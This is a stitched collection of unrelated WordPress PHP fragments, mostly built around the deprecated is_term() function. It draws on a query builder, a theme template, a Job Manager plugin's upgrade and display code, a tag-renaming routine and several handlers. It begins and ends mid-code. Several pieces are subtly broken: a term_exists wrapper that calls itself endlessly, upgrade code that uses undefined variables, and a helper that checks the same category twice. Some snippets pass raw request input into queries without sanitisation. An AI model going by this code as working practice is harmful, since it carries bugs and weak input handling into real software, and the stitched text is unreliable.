'ORDER BY ' . $orderby; } $distinct = apply_filters('posts_distinct', $distinct); $fields = apply_filters('posts_fields', "{$wpdb->posts}.*"); $limits = apply_filters('post_limits', $limits); $found_rows = ''; if (!empty($limits)) { $found_rows = 'SQL_CALC_FOUND_ROWS'; } $request = " SELECT {$found_rows} {$distinct} {$fields} FROM {$wpdb->posts} {$join} WHERE 1=1 {$where} {$groupby} {$orderby} {$limits}"; $this->request = apply_filters('posts_request', $request); $this->posts = $wpdb->get_results($this->request); // Raw results filter. Prior to status checks. $this->posts = apply_filters('posts_results', $this->posts); if ($this->is_comment_feed && $this->is_singular) { $cjoin = apply_filters('comment_feed_join', ''); $cwhere = apply_filters('comment_feed_where', "WHERE comment_post_ID = {$this->posts[0]->ID} AND comment_approved = '1'"); $comments_request = "SELECT {$wpdb->comments}.* FROM {$wpdb->comments} {$cjoin} {$cwhere} ORDER BY comment_date_gmt DESC LIMIT " . get_option('posts_per_rss'); $this->comments = $wpdb->get_results($comments_request); $this->comment_count = count($this->comments); } if (!empty($limits)) { $found_posts_query = apply_filters('found_posts_query', 'SELECT FOUND_ROWS()'); $this->found_posts = $wpdb->get_var($found_posts_query); $this->found_posts = apply_filters('found_posts', $this->found_posts); $this->max_num_pages = ceil($this->found_posts / $q['posts_per_page']); } // Check post status to determine if post should be displayed. if (!empty($this->posts) && ($this->is_single || $this->is_page)) { $status = get_post_status($this->posts[0]); //$type = get_post_type($this->posts[0]); if ('publish' != $status) { if (!is_user_logged_in()) { // User must be logged in to view unpublished posts. $this->posts = array(); } else { if (in_array($status, array('draft', 'pending'))) { // User must have edit permissions on the draft to preview. if (!current_user_can('edit_post', $this->posts[0]->ID)) { $this->posts = array(); } else { $this->is_preview = true; $this->posts[0]->post_date = current_time('mysql'); } } else { if ('future' == $status) { $this->is_preview = true; if (!current_user_can('edit_post', $this->posts[0]->ID)) { $this->posts = array(); } } else { if (!current_user_can('read_post', $this->posts[0]->ID)) { $this->posts = array(); } } } } } } $this->posts = apply_filters('the_posts', $this->posts); update_post_caches($this->posts); $this->post_count = count($this->posts); if ($this->post_count > 0) { $this->post = $this->posts[0]; } return $this->posts; }
?> <?php } ?> <div class="slide-nav"> <div class="itemhead"></div> <div class="slide-nav-content"> <?php $page_data = get_page($_GET['page_id']); $page_id = $_GET['page_id']; $title = $page_data->post_title; $cat_to_check = get_term_by('cat_name', $title, 'category'); if (!is_term($title, 'category')) { $category = get_the_category($page_id); $title = $category[0]->cat_name; } ?> <?php query_posts('category_name=' . $title . '&orderby=ID&order=ASC'); $covers = get_slideshow_covers($title); $count = 0; ?> <!-- begin SlidingPanel --> <div id="newsTicker"> <div id="ticker" class="SlidingPanels"> <?php while (have_posts()) {
/** * selectのoptionタグで返す */ public function getSelectCategoryByCName($cname, $name = '') { $str = ""; $base_cat_arr = is_term($cname, 'category'); $cid = $base_cat_arr['term_id']; $cat_arr = self::getObjsFromCID($cid); $selected_val = 0; if ($name != '') { if (isset($_REQUEST[$name]) && $_REQUEST[$name] != '') { $selected_val = intval($_REQUEST[$name]); } } //$str .= sprintf("<select name=\"%s\">", $this->name); //$str .= sprintf("<option value=\"\">%s/option>", $cname); foreach ($cat_arr as $item) { $selected_str = ''; if ($selected_val == $item->term_id) { $selected_str = ' selected="selected" '; } $str .= sprintf("<option value=\"%d\" %s>%s</option>\n", $item->term_id, $selected_str, $item->name); } // $str .= "</select>\n"; return $str; }
function tag_exists($tag_name) { return is_term($tag_name, 'post_tag'); }
break; case 'add-link-category': // On the Fly check_ajax_referer($action); if (!current_user_can('manage_categories')) { die('-1'); } $names = explode(',', $_POST['newcat']); $x = new WP_Ajax_Response(); foreach ($names as $cat_name) { $cat_name = trim($cat_name); $slug = sanitize_title($cat_name); if ('' === $slug) { continue; } if (!($cat_id = is_term($cat_name, 'link_category'))) { $cat_id = wp_insert_term($cat_name, 'link_category'); } $cat_id = $cat_id['term_id']; $cat_name = esc_html(stripslashes($cat_name)); $x->add(array('what' => 'link-category', 'id' => $cat_id, 'data' => "<li id='link-category-{$cat_id}'><label for='in-link-category-{$cat_id}' class='selectit'><input value='" . esc_attr($cat_id) . "' type='checkbox' checked='checked' name='link_category[]' id='in-link-category-{$cat_id}'/> {$cat_name}</label></li>", 'position' => -1)); } $x->send(); break; case 'add-cat': // From Manage->Categories check_ajax_referer('add-category'); if (!current_user_can('manage_categories')) { die('-1'); } if ('' === trim($_POST['cat_name'])) {
/** * Compatibility wrapper for WordPress term lookup. */ function term_exists($term, $taxonomy = '', $parent = 0) { if (function_exists('term_exists')) { // 3.0 or later return term_exists($term, $taxonomy, $parent); } else { return is_term($term, $taxonomy, $parent); } }
function add_coauthors($post_ID, $coauthors, $append = false) { global $current_user; $post_ID = (int) $post_ID; // if an array isn't returned, create one and populate with default author if (!is_array($coauthors) || 0 == count($coauthors) || empty($coauthors)) { // @TOOD: create option for default author $coauthors = array(get_option('default_author')); } // Add each co-author to the post meta foreach (array_unique($coauthors) as $author) { // Name and slug of term are the username; $name = $author; // Add user as a term if they don't exist if (!is_term($name, $this->coauthor_taxonomy)) { $args = array('slug' => sanitize_title($name)); $insert = wp_insert_term($name, $this->coauthor_taxonomy, $args); } } // Add authors as post terms if (!is_wp_error($insert)) { $set = wp_set_post_terms($post_ID, $coauthors, $this->coauthor_taxonomy, $append); } else { // @TODO: error } }
function jobman_upgrade_db($oldversion) { global $wpdb; $options = get_option('jobman_options'); if ($oldversion < 4) { // Fix any empty slugs in the category list. $sql = "SELECT * FROM {$wpdb->prefix}jobman_categories ORDER BY id;"; $categories = $wpdb->get_results($sql, ARRAY_A); if (count($categories) > 0) { foreach ($categories as $cat) { if ('' == $cat['slug']) { $slug = strtolower($cat['title']); $slug = str_replace(' ', '-', $slug); $sql = $wpdb->prepare("UPDATE {$wpdb->prefix}jobman_categories SET slug=%s WHERE id=%d;", $slug, $id); $wpdb->query($sql); } } } } if ($oldversion < 5) { // Re-write the database to use the existing WP tables // Create the root jobs page $page = array('comment_status' => 'closed', 'ping_status' => 'closed', 'post_status' => 'publish', 'post_author' => 1, 'post_content' => '', 'post_name' => $options['page_name'], 'post_title' => __('Jobs Listing', 'jobman'), 'post_content' => __('Hi! This page is used by your Job Manager plugin as a base. Feel free to change settings here, but please do not delete this page. Also note that any content you enter here will not show up when this page is displayed on your site.', 'jobman'), 'post_type' => 'page'); $mainid = wp_insert_post($page); $options['main_page'] = $mainid; // Move the categories to WP categories $sql = "SELECT * FROM {$wpdb->prefix}jobman_categories;"; $categories = $wpdb->get_results($sql, ARRAY_A); $oldcats = array(); $newcats = array(); if (count($categories) > 0) { foreach ($categories as $cat) { $oldcats[] = $cat['id']; $catid = wp_insert_term($cat['title'], 'jobman_category', array('slug' => $cat['slug'], 'description' => $cat['email'])); $newcats[] = $catid; } } // Create a page for each category, so we have somewhere to store the applications $catpages = array(); foreach ($categories as $cat) { $page = array('comment_status' => 'closed', 'ping_status' => 'closed', 'post_status' => 'publish', 'post_author' => 1, 'post_content' => '', 'post_name' => $cat['slug'], 'post_title' => $cat['title'], 'post_type' => 'jobman_joblist', 'post_parent' => $mainid); $id = wp_insert_post($page); $catpages[] = $id; add_post_meta($id, '_catpage', 1, true); add_post_meta($id, '_cat', $newcats[array_search($cat['id'], $oldcats)], true); } // Move the jobs to posts $oldjobids = array(); $newjobids = array(); $sql = "SELECT * FROM {$wpdb->prefix}jobman_jobs;"; $jobs = $wpdb->get_results($sql, ARRAY_A); if (count($jobs) > 0) { foreach ($jobs as $job) { $oldjobids[] = $job['id']; $page = array('comment_status' => 'closed', 'ping_status' => 'closed', 'post_status' => 'publish', 'post_author' => 1, 'post_content' => $job['abstract'], 'post_name' => strtolower(str_replace(' ', '-', $job['title'])), 'post_title' => $job['title'], 'post_type' => 'jobman_job', 'post_date' => $job['displaystartdate'], 'post_parent' => $mainid); $id = wp_insert_post($page); $newjobids[] = $id; add_post_meta($id, 'salary', $job['salary'], true); add_post_meta($id, 'startdate', $job['startdate'], true); add_post_meta($id, 'enddate', $job['enddate'], true); add_post_meta($id, 'location', $job['location'], true); add_post_meta($id, 'displayenddate', $job['displayenddate'], true); add_post_meta($id, 'iconid', $job['iconid'], true); // Get the old category ids $cats = array(); $sql = $wpdb->prepare("SELECT c.id AS id FROM {$wpdb->prefix}jobman_categories AS c LEFT JOIN {$wpdb->prefix}jobman_job_category AS jc ON c.id=jc.categoryid WHERE jc.jobid=%d;", $job['id']); $data = $wpdb->get_results($sql, ARRAY_A); if (count($data) > 0) { foreach ($data as $cat) { // Make an array of the new category ids if (is_term($newcats[array_search($cat['id'], $oldcats)], 'jobman_category')) { wp_set_object_terms($id, $newcats[array_search($cat['id'], $oldcats)], 'jobman_category', true); } } } } } // Move the icons to jobman_options $options['icons'] = array(); $sql = "SELECT * FROM {$wpdb->prefix}jobman_icons ORDER BY id;"; $icons = $wpdb->get_results($sql, ARRAY_A); if (count($icons) > 0) { foreach ($icons as $icon) { $options['icons'][$icon['id']] = array('title' => $icon['title'], 'extension' => $icon['extension']); } } // Move the application fields to jobman_options $options['fields'] = array(); $sql = "SELECT af.*, (SELECT COUNT(*) FROM {$wpdb->prefix}jobman_application_field_categories AS afc WHERE afc.afid=af.id) AS categories FROM {$wpdb->prefix}jobman_application_fields AS af ORDER BY af.sortorder ASC;"; $fields = $wpdb->get_results($sql, ARRAY_A); if (count($fields) > 0) { foreach ($fields as $field) { $options['fields'][$field['id']] = array('label' => $field['label'], 'type' => $field['type'], 'listdisplay' => $field['listdisplay'], 'data' => $field['data'], 'filter' => $field['filter'], 'error' => $field['error'], 'sortorder' => $field['sortorder'], 'categories' => array()); if ($field['categories'] > 0) { // This field is restricted to certain categories $sql = "SELECT categoryid FROM {$wpdb->prefix}jobman_application_field_categories WHERE afid={$field['id']};"; $field_categories = $wpdb->get_results($sql, ARRAY_A); if (count($categories) > 0) { foreach ($categories as $cat) { foreach ($field_categories as $fc) { if (in_array($cat['id'], $fc)) { $options['fields'][$field['id']]['categories'][] = $newcats[array_search($cat['id'], $oldcats)]; break; } } } } } } } // Move the applications to sub-pages of the relevant job or category $sql = "SELECT a.*, (SELECT COUNT(*) FROM {$wpdb->prefix}jobman_application_categories AS ac WHERE ac.applicationid=a.id) AS categories FROM {$wpdb->prefix}jobman_applications AS a;"; $apps = $wpdb->get_results($sql, ARRAY_A); if (count($apps) > 0) { foreach ($apps as $app) { $sql = "SELECT * FROM {$wpdb->prefix}jobman_application_data WHERE applicationid={$app['id']};"; $data = $wpdb->get_results($sql, ARRAY_A); if (count($data) > 0) { $content = array(); $page = array('comment_status' => 'closed', 'ping_status' => 'closed', 'post_status' => 'publish', 'post_author' => 1, 'post_type' => 'jobman_app', 'post_content' => '', 'post_title' => __('Application', 'jobman'), 'post_date' => $app['submitted']); $pageid = 0; $cat = 0; if ($app['jobid'] > 0) { // Store against the job $pageid = $newjobids[array_search($app['jobid'], $oldjobids)]; $page['post_parent'] = $pageid; } else { if ($app['categories'] > 0) { // Store against the category if (count($categories) > 0) { $cat = reset($categories); $page['post_parent'] = $newcats[array_search($cat['id'], $oldcats)]; } else { $page['post_parent'] = $mainid; } } else { // Store against main $page['post_parent'] = $mainid; } } $id = wp_insert_post($page); foreach ($data as $item) { add_post_meta($id, 'data' . $item['fieldid'], $item['data'], true); } // Add the categories to the page if ($cat) { if (is_term($cat, 'jobman_category')) { wp_set_object_terms($id, $cat, 'jobman_category', true); } } if ($pageid) { // Get parent (job) categories, and apply them to application $parentcats = wp_get_object_terms($pageid, 'jobman_category'); foreach ($parentcats as $pcat) { if (is_term($pcat->term_id, 'jobman_category')) { wp_set_object_terms($id, $pcat->term_id, 'jobman_category', true); } } } } } } // Create the apply page $page = array('comment_status' => 'closed', 'ping_status' => 'closed', 'post_status' => 'publish', 'post_author' => 1, 'post_content' => '', 'post_name' => 'apply', 'post_title' => __('Job Application', 'jobman'), 'post_type' => 'jobman_app_form', 'post_parent' => $mainid); $id = wp_insert_post($page); } if ($oldversion < 6) { // Fix category pages not having the correct _cat meta value $data = get_posts('post_type=jobman_joblist'); if (count($data) > 0) { foreach ($data as $catpage) { $pagemeta = get_post_custom($catpage->ID); if (!array_key_exists('_cat', $pagemeta)) { // Page doesn't have a _cat continue; } if (is_array($pagemeta['_cat'])) { $catid = $pagemeta['_cat'][0]; } else { $catid = $pagemeta['_cat']; } if (preg_match('/^\\d+$/', $catid)) { // _cat seems to be set properly continue; } $matches = array(); preg_match('/"term_id"[^"]+"(\\d+)"/', $catid, $matches); update_post_meta($catpage->ID, '_cat', $matches[1]); } } } if ($oldversion < 7) { // Drop the old tables from 0.3 $tables = array($wpdb->prefix . 'jobman_jobs', $wpdb->prefix . 'jobman_categories', $wpdb->prefix . 'jobman_job_category', $wpdb->prefix . 'jobman_icons', $wpdb->prefix . 'jobman_application_fields', $wpdb->prefix . 'jobman_application_field_categories', $wpdb->prefix . 'jobman_applications', $wpdb->prefix . 'jobman_application_categories', $wpdb->prefix . 'jobman_application_data'); foreach ($tables as $table) { $sql = "DROP TABLE IF EXISTS {$table}"; $wpdb->query($sql); } // Create the register page $page = array('comment_status' => 'closed', 'ping_status' => 'closed', 'post_status' => 'publish', 'post_author' => 1, 'post_content' => '', 'post_name' => 'register', 'post_title' => __('Register', 'jobman'), 'post_type' => 'jobman_register', 'post_parent' => $options['main_page']); $id = wp_insert_post($page); $options['register_page'] = $id; } if ($oldversion < 8) { // Fix incorrect default forms foreach ($options['fields'] as $id => $field) { if ('Yes\\r\\nNo' == $field['data']) { $options['fields'][$id]['data'] = "Yes\r\nNo"; } } } if ($oldversion < 10) { // Fix missing categories on applications $apps = get_posts('post_type=jobman_app&numberposts=-1'); foreach ($apps as $app) { $parent = get_post($app->post_parent); if ('jobman_job' == $parent->post_type) { $parentcats = wp_get_object_terms($parent->ID, 'jobman_category'); foreach ($parentcats as $pcat) { if (is_term($pcat->slug, 'jobman_category')) { $foo = wp_set_object_terms($app->ID, $pcat->slug, 'jobman_category', true); } } } else { if ('jobman_joblist' == $parent->post_type) { $cat = get_post_meta($parent->ID, '_cat', true); if ('' != $cat && is_term($cat, 'jobman_category')) { wp_set_object_terms($app->ID, $cat, 'jobman_category', true); } } } } } if ($oldversion < 11) { // Remove the old category pages $cat_pages = get_posts('post_type=jobman_joblist&meta_key=_catpage&meta_value=1&numberposts=-1'); foreach ($cat_pages as $cp) { wp_delete_post($cp->ID); } // Add the 'mandatory' field option foreach ($options['fields'] as $key => $field) { $options['fields'][$key]['mandatory'] = 0; } } if ($oldversion < 12) { // Add the new job fields $options['job_fields'] = array(); $options['job_fields'][1] = array('label' => __('Salary', 'jobman'), 'type' => 'text', 'data' => '', 'sortorder' => 0, 'description' => ''); $options['job_fields'][2] = array('label' => __('Start Date', 'jobman'), 'type' => 'date', 'data' => '', 'sortorder' => 1, 'description' => __('The date that the job starts. For positions available immediately, leave blank.', 'jobman')); $options['job_fields'][3] = array('label' => __('End Date', 'jobman'), 'type' => 'date', 'data' => '', 'sortorder' => 2, 'description' => __('The date that the job finishes. For ongoing positions, leave blank.', 'jobman')); $options['job_fields'][4] = array('label' => __('Location', 'jobman'), 'type' => 'text', 'data' => '', 'sortorder' => 3, 'description' => ''); $options['job_fields'][5] = array('label' => __('Job Information', 'jobman'), 'type' => 'textarea', 'data' => '', 'sortorder' => 4, 'description' => ''); // Convert existing jobs to new format $jobs = get_posts('post_type=jobman_job&numberposts=-1'); foreach ($jobs as $job) { add_post_meta($job->ID, 'data1', get_post_meta($job->ID, 'salary', true), true); add_post_meta($job->ID, 'data2', get_post_meta($job->ID, 'startdate', true), true); add_post_meta($job->ID, 'data3', get_post_meta($job->ID, 'enddate', true), true); add_post_meta($job->ID, 'data4', get_post_meta($job->ID, 'location', true), true); add_post_meta($job->ID, 'data5', $job->post_content, true); } // Convert file uploads to attachments $apps = get_posts('post_type=jobman_app&numberposts=-1'); foreach ($apps as $app) { foreach ($options['fields'] as $fid => $field) { if ('file' != $field['type']) { continue; } $filename = get_post_meta($app->ID, "data{$fid}", true); if ('' == $filename || !file_exists(WP_CONTENT_DIR . '/' . JOBMAN_FOLDER . "/uploads/{$filename}")) { update_post_meta($app->ID, "data{$fid}", ''); continue; } $upload = wp_upload_bits($filename, NULL, file_get_contents(WP_CONTENT_DIR . '/' . JOBMAN_FOLDER . "/uploads/{$filename}")); $aid = ''; if (!$upload['error']) { $filetype = wp_check_filetype($upload['file']); $attachment = array('post_title' => '', 'post_content' => '', 'post_status' => 'private', 'post_mime_type' => $filetype['type']); $aid = wp_insert_attachment($attachment, $upload['file'], $app->ID); $attach_data = wp_generate_attachment_metadata($aid, $upload['file']); wp_update_attachment_metadata($aid, $attach_data); add_post_meta($aid, '_jobman_attachment', 1, true); add_post_meta($aid, '_jobman_attachment_upload', 1, true); } else { error_log($upload['error']); update_post_meta($app->ID, "data{$fid}", ''); } update_post_meta($app->ID, "data{$fid}", $aid); } } // Convert icons to attachments $icons = array(); foreach ($options['icons'] as $iid => $icon) { $filename = WP_CONTENT_DIR . '/' . JOBMAN_FOLDER . "/icons/{$iid}.{$icon['extension']}"; $upload = wp_upload_bits($_FILES["jobman-field-{$fid}"]['name'], NULL, file_get_contents(WP_CONTENT_DIR . '/' . JOBMAN_FOLDER . "/uploads/{$filename}")); if (!$upload['error']) { $attachment = array('post_title' => $icon['title'], 'post_content' => '', 'post_status' => 'publish', 'post_mime_type' => mime_content_type($upload['file'])); $new_iid = wp_insert_attachment($attachment, $upload['file'], $options['main_pages']); $attach_data = wp_generate_attachment_metadata($new_iid, $upload['file']); wp_update_attachment_metadata($new_iid, $attach_data); add_post_meta($data, '_jobman_attachment', 1, true); add_post_meta($data, '_jobman_attachment_icon', 1, true); $icons[] = $new_iid; } } $options['icons'] = $icons; } if ($oldversion < 13) { // Update all applications to private $apps = get_posts('post_type=jobman_app&numberposts=-1&post_status=publish'); $update = array('post_status' => 'private'); foreach ($apps as $app) { $update['ID'] = $app->ID; wp_update_post($update); } // Update all emails to private $emails = get_posts('post_type=jobman_email&numberposts=-1&post_status=private'); foreach ($emails as $email) { $update['ID'] = $email->ID; wp_update_post($update); } } if ($oldversion < 15) { // Store the job being applied for as metadata $apps = get_posts('post_type=jobman_app&numberposts=-1&post_status=publish,private'); foreach ($apps as $app) { $app = get_post($app->ID); $parent = get_post($app->post_parent); if (empty($parent) || 'jobman_job' != $parent->post_type) { continue; } add_post_meta($app->ID, 'job', $parent->ID, false); } // Add the 'email block' field option foreach ($options['fields'] as $id => $field) { $options['fields'][$id]['emailblock'] = 0; } } if ($oldversion < 18) { // Fix the GMT timestamp on existing jobs $jobs = get_posts('post_type=jobman_job&numberposts=-1&post_status=publish,private'); foreach ($jobs as $job) { $data = array('ID' => $job->ID, 'post_date_gmt' => $job->post_date); wp_update_post($data); } } update_option('jobman_options', $options); }
$error = false; $tag = $_POST['tag']; $postid = $_POST['postid']; $taxonomy = 'post_tag'; // Check values, then process. if (!$postid || $postid == '') { $error .= 'No post id was provided\\n'; } else { if (!$tag || $tag == '') { $error .= 'No tag was provided\\n'; } else { if ($_POST['action'] == 'ITT_ProcessTag') { $tags = explode(',', $tag); foreach ($tags as $solotag) { $solotag = trim($solotag); $check = is_term($solotag, $taxonomy); if (is_null($check)) { $args = array(); $tag = wp_insert_term($solotag, $taxonomy); $tagid = $tag['term_id']; } else { $tagid = $check['term_id']; } wp_set_object_terms($postid, $tagid * 1, $taxonomy, true); } } else { if ($_POST['action'] == 'ITT_ProcessRemoveTag') { $terms = wp_get_object_terms($postid, $taxonomy); $keep = array(); foreach ($terms as $term) { if ($term->term_id != $tag) {
function renameTags( $old = '', $new = '' ) { if ( trim( str_replace(',', '', stripslashes($new)) ) == '' ) { $this->message = __('No new tag specified!', 'simpletags'); $this->status = 'error'; return; } // String to array $old_tags = explode(',', $old); $new_tags = explode(',', $new); // Remove empty element and trim $old_tags = array_filter($old_tags, array(&$this, 'deleteEmptyElement')); $new_tags = array_filter($new_tags, array(&$this, 'deleteEmptyElement')); // If old/new tag are empty => exit ! if ( empty($old_tags) || empty($new_tags) ) { $this->message = __('No new/old valid tag specified!', 'simpletags'); $this->status = 'error'; return; } $counter = 0; if( count($old_tags) == count($new_tags) ) { // Rename only foreach ( (array) $old_tags as $i => $old_tag ) { $new_name = $new_tags[$i]; // Get term by name $term = get_term_by('name', $old_tag, 'post_tag'); if ( !$term ) { continue; } // Get objects from term ID $objects_id = get_objects_in_term( $term->term_id, 'post_tag', array('fields' => 'all_with_object_id')); // Delete old term wp_delete_term( $term->term_id, 'post_tag' ); // Set objects to new term ! (Append no replace) foreach ( (array) $objects_id as $object_id ) { wp_set_object_terms( $object_id, $new_name, 'post_tag', true ); } // Clean cache clean_object_term_cache( $objects_id, 'post_tag'); clean_term_cache($term->term_id, 'post_tag'); // Increment $counter++; } if ( $counter == 0 ) { $this->message = __('No tag renamed.', 'simpletags'); } else { $this->message = sprintf(__('Renamed tag(s) «%1$s» to «%2$s»', 'simpletags'), $old, $new); } } elseif ( count($new_tags) == 1 ) { // Merge // Set new tag $new_tag = $new_tags[0]; if ( empty($new_tag) ) { $this->message = __('No valid new tag.', 'simpletags'); $this->status = 'error'; return; } // Get terms ID from old terms names $terms_id = array(); foreach ( (array) $old_tags as $old_tag ) { $term = get_term_by('name', addslashes($old_tag), 'post_tag'); $terms_id[] = (int) $term->term_id; } // Get objects from terms ID $objects_id = get_objects_in_term( $terms_id, 'post_tag', array('fields' => 'all_with_object_id')); // No objects ? exit ! if ( !$objects_id ) { $this->message = __('No objects (post/page) found for specified old tags.', 'simpletags'); $this->status = 'error'; return; } // Delete old terms foreach ( (array) $terms_id as $term_id ) { wp_delete_term( $term_id, 'post_tag' ); } // Set objects to new term ! (Append no replace) foreach ( (array) $objects_id as $object_id ) { wp_set_object_terms( $object_id, $new_tag, 'post_tag', true ); $counter++; } // Test if term is also a category if ( is_term($new_tag, 'category') ) { // Edit the slug to use the new term $this->editTagSlug( $new_tag, sanitize_title($new_tag) ); } // Clean cache clean_object_term_cache( $objects_id, 'post_tag'); clean_term_cache($terms_id, 'post_tag'); if ( $counter == 0 ) { $this->message = __('No tag merged.', 'simpletags'); } else { $this->message = sprintf(__('Merge tag(s) «%1$s» to «%2$s». %3$s objects edited.', 'simpletags'), $old, $new, $counter); } } else { // Error $this->message = sprintf(__('Error. No enough tags for rename. Too for merge. Choose !', 'simpletags'), $old); $this->status = 'error'; } return; }
function jobman_display_jobs($posts) { global $wp_query, $wpdb, $jobman_displaying, $jobman_finishedpage, $sitepress, $wp_rewrite; if ($jobman_finishedpage || $jobman_displaying) { return $posts; } // Hack to fix Mystique theme CSS if (array_key_exists('mystique', $wp_query->query_vars) && 'css' == $wp_query->query_vars['mystique']) { return $posts; } $options = get_option('jobman_options'); $post = NULL; $displaycat = false; if (array_key_exists('jobman_data', $wp_query->query_vars) && !array_key_exists('jobman_page', $wp_query->query_vars)) { if (is_term($wp_query->query_vars['jobman_data'], 'jobman_category')) { $wp_query->query_vars['jcat'] = $wp_query->query_vars['jobman_data']; } else { $sql = "SELECT * FROM {$wpdb->posts} WHERE post_type='jobman_job' AND post_name=%s;"; $sql = $wpdb->prepare($sql, $wp_query->query_vars['jobman_data']); $data = $wpdb->get_results($sql, OBJECT); if (count($data) > 0) { $wp_query->query_vars['page_id'] = $data[0]->ID; } else { return $posts; } } } if (!array_key_exists('jcat', $wp_query->query_vars)) { if (isset($wp_query->query_vars['jobman_root_id'])) { $post = get_post($wp_query->query_vars['jobman_root_id']); } else { if (isset($wp_query->query_vars['page_id'])) { $post = get_post($wp_query->query_vars['page_id']); } } if ($post == NULL || !isset($wp_query->query_vars['jobman_page']) && $post->ID != $options['main_page'] && !in_array($post->post_type, array('jobman_job', 'jobman_app_form', 'jobman_register'))) { return $posts; } } // We're going to be displaying a Job Manager page. $jobman_displaying = true; $wp_query->is_home = false; remove_filter('the_content', 'wpautop'); // Hack to kill WPML on Job Manager pages. Need to add proper support later. if (defined('ICL_SITEPRESS_VERSION') && !empty($sitepress)) { remove_filter('posts_join', array($sitepress, 'posts_join_filter')); remove_filter('posts_where', array($sitepress, 'posts_where_filter')); } if (NULL != $post) { $postmeta = get_post_custom($post->ID); $postcats = wp_get_object_terms($post->ID, 'jobman_category'); $postdata = array(); foreach ($postmeta as $key => $value) { if (is_array($value)) { $postdata[$key] = $value[0]; } else { $postdata[$key] = $value; } } } if (array_key_exists('jobman_register', $wp_query->query_vars)) { jobman_register(); } else { if (array_key_exists('jobman_username', $wp_query->query_vars)) { jobman_login(); } } global $jobman_data; $jobman_data = ''; if (array_key_exists('jobman_data', $wp_query->query_vars)) { $jobman_data = $wp_query->query_vars['jobman_data']; } else { if (array_key_exists('j', $wp_query->query_vars)) { $jobman_data = $wp_query->query_vars['j']; } else { if (array_key_exists('c', $wp_query->query_vars)) { $jobman_data = $wp_query->query_vars['c']; } } } if (array_key_exists('jcat', $wp_query->query_vars)) { // We're looking at a category $cat = get_term_by('slug', $wp_query->query_vars['jcat'], 'jobman_category'); $posts = jobman_display_jobs_list($cat->term_id); if (count($posts) > 0) { $posts[0]->post_content = $options['text']['category_before'] . $posts[0]->post_content . $options['text']['category_after']; } } else { if (isset($wp_query->query_vars['jobman_page']) || NULL != $post && in_array($post->post_type, array('jobman_job', 'jobman_app_form', 'jobman_register'))) { if (NULL == $post || !in_array($post->post_type, array('jobman_job', 'jobman_app_form', 'jobman_register'))) { $sql = "SELECT * FROM {$wpdb->posts} WHERE (post_type='jobman_job' OR post_type='jobman_app_form' OR post_type='jobman_register') AND post_name=%s;"; $sql = $wpdb->prepare($sql, $wp_query->query_vars['jobman_page']); $data = $wpdb->get_results($sql, OBJECT); } else { $data = array($post); } if (count($data) > 0) { $post = $data[0]; $postmeta = get_post_custom($post->ID); $postcats = wp_get_object_terms($post->ID, 'jobman_category'); $postdata = array(); foreach ($postmeta as $key => $value) { if (is_array($value)) { $postdata[$key] = $value[0]; } else { $postdata[$key] = $value; } } if ('jobman_job' == $post->post_type) { // We're looking at a job $posts = jobman_display_job($post->ID); if (count($posts) > 0) { $posts[0]->post_content = $options['text']['job_before'] . $posts[0]->post_content . $options['text']['job_after']; } } else { if ('jobman_app_form' == $post->post_type) { // We're looking at an application form $jobid = (int) $jobman_data; if ('' == $jobman_data) { $posts = jobman_display_apply(-1); } else { if ($jobid > 0) { $posts = jobman_display_apply($jobid); } else { $posts = jobman_display_apply(-1, $jobman_data); } } if (count($posts) > 0) { $posts[0]->post_content = $options['text']['apply_before'] . $posts[0]->post_content . $options['text']['apply_after']; } } else { if ('jobman_register' == $post->post_type) { // Looking for the registration form if (is_user_logged_in()) { wp_redirect(get_page_link($options['main_page'])); exit; } else { $posts = jobman_display_register(); if (count($posts) > 0) { $posts[0]->post_content = $options['text']['registration_before'] . $posts[0]->post_content . $options['text']['registration_after']; } } } else { $posts = array(); } } } } else { $posts = array(); } } else { if (NULL != $post && $post->ID == $options['main_page']) { // We're looking at the main job list page $posts = jobman_display_jobs_list('all'); if (count($posts) > 0) { $posts[0]->post_content = $options['text']['main_before'] . $posts[0]->post_content . $options['text']['main_after']; } } else { $posts = array(); } } } if (!empty($posts)) { $wp_query->queried_object = $posts[0]; $wp_query->queried_object_id = $posts[0]->ID; $wp_query->is_page = true; } $hidepromo = $options['promo_link']; if (get_option('pento_consulting')) { $hidepromo = true; } if (!$hidepromo && count($posts) > 0) { $posts[0]->post_content .= '<p class="jobmanpromo">' . sprintf(__('This job listing was created using <a href="%s" title="%s">Job Manager</a> for WordPress, by <a href="%s">Gary Pendergast</a>.', 'jobman'), 'http://pento.net/projects/wordpress-job-manager/', __('WordPress Job Manager', 'jobman'), 'http://pento.net') . '</p>'; } $jobman_finishedpage = true; return $posts; }
function insert_parent_categories() { if (!is_term('industrial', 'category')) { wp_insert_term('industrial', 'category', array('category_description' => 'Промышленные коллекции', 'taxonomy' => 'category')); } if (!is_term('industrial', 'category')) { wp_insert_term('creative', 'category', array('category_description' => 'Творческие коллекции', 'taxonomy' => 'category')); } }
function jobman_store_application($jobid, $cat) { global $current_user; get_currentuserinfo(); $cat = get_term_by('slug', $cat, 'jobman_category'); $filter_err = jobman_check_filters($jobid, $cat); if ($filter_err != -1) { // Failed filter rules return $filter_err; } $dir = dirname($_SERVER['SCRIPT_FILENAME']); if (!file_exists("{$dir}/wp-admin/includes/file.php")) { $dir = WP_CONTENT_DIR . '/..'; } require_once "{$dir}/wp-admin/includes/file.php"; require_once "{$dir}/wp-admin/includes/image.php"; require_once "{$dir}/wp-admin/includes/media.php"; $options = get_option('jobman_options'); $fields = $options['fields']; $job = NULL; if (-1 != $jobid) { $job = get_post($jobid); } // Workaround for WP to Twitter plugin tweeting about new application $_POST['jd_tweet_this'] = 'no'; // Check for recent applications for the same job by the same user if (!empty($current_user) && -1 != $jobid) { $args = array('post_status' => 'private', 'post_type' => 'jobman_app', 'author' => $current_user->ID, 'meta_key' => 'job', 'meta_value' => $jobid, 'suppress_filters' => false); add_filter('posts_where', 'jobman_dupe_app_check_where'); $posts = get_posts($args); remove_filter('posts_where', 'jobman_dupe_app_check_where'); if (!empty($posts)) { return -2; } } $page = array('comment_status' => 'closed', 'ping_status' => 'closed', 'post_status' => 'private', 'post_type' => 'jobman_app', 'post_content' => '', 'post_title' => __('Application', 'jobman'), 'post_parent' => $options['main_page']); $appid = wp_insert_post($page); // Add the categories to the application $append = false; if (NULL != $cat && is_term($cat->slug, 'jobman_category')) { wp_set_object_terms($appid, $cat->slug, 'jobman_category', false); $append = true; } if (NULL != $job) { // Get parent (job) categories, and apply them to application $parentcats = wp_get_object_terms($job->ID, 'jobman_category'); foreach ($parentcats as $pcat) { if (is_term($pcat->slug, 'jobman_category')) { wp_set_object_terms($appid, 